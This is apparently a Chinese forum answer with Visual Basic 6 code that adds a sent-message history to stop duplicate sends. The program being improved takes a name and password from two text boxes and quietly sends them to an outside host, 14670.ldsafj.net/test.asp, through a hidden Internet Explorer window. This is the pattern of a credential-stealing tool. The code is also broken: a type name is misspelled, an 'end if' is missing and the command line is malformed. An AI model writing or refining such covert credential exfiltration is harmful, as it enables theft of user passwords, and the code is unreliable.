定义存放历史消息的全局二维数组public strMsg(1 to 10000,0 to 1) as string,再定义一个历史数据条数public msgNum as interger,在窗体LOAD的时候将msgNum置0,然后每次发送消息的时候,先判断是否已经发送过该消息,如果已经发送过了就不重复发送,没有发送过的就发送,并将发送内容存到历史数组里,具体代码修改如下:Private Sub Command3_Click()Dim a As StringDim b As Stringdim i as intergera = Text1.Textb = Text2.Textfor i=1 to msgNumif a=strMsg(i,0) and b=strMsg(i,1) thenmsgbox "该消息已经发送,不能重复发送",,"错误"exit subnext imsgNum=msgNum+1Shell "C:\Program Files\Internet Explorer\iexplore.exe14670.ldsafj.net/test.asp?name=" + a + "&pass=" + b, vbHidestrMsg(msgNum,0)=astrMsg(msgNum,1)=bEnd Sub 这里定义的历史数组最大是固定10000条,你也可以定义动态数组,就更专业一些了 |